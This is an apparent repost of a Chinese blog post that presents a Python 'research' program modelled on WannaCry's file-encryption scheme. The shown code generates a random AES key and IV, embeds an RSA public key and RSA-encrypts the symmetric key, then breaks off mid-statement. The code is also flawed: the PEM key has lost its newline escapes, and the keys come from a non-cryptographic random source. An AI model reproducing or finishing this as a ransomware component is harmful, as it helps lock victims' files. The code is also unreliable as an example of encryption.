我是靠谱客的博主 着急抽屉,最近开发中收集的这篇文章主要介绍python加密解密算法_原来这么多人还不知道 WANNACRY 的加密算法啊,写了一个 Python 的加密和解密程序,仅供研究...,觉得挺不错的,现在分享给大家,希望可以做个参考。
概述
发现 V2 上讨论勒索病毒的同学不在少数啊,本人就着自己的理解写了一段给任意文件加密的程序和解密程序,代码量不多,也并不复杂。
本人学习 python 时间并不长,有啥错误的地方,欢迎大家指正和讨论。
大神轻拍~下面是代码
from Crypto.Cipher import AES
import random,rsa,os
x = [chr(y) for y in range(1,127)]
key = ''.join(random.sample(x,16))
iv = ''.join(random.sample(x,16))
RSA_public_string = u'-----BEGIN RSA PUBLIC KEY-----nMIGJAoGBALvD8lK3bgYhRPD3ybKZlo4AJLe6WrXR8SEVY09+W9IXOfl1mCjkxkkonbykxfevl84qMgrHbXB+7YWN9x5Mgw3jWxSsg1RJcWP+4WKvx/n7i6c4f9R6ndfECn4Upa4ElomhiBt426eaCm5zbnUO3i2jc358b/1oHtsLQKBl6qqatXAgMBAAE=n-----END RSA PUBLIC KEY-----n'
RSA_Pub_key = rsa.PublicKey.load_pkcs1(RSA_public_string)
Encrypt_key_iv = rsa.encrypt(key+iv, RSA_Pub_key)
Encrypt_key_iv_padding = Encrypt_key_iv+'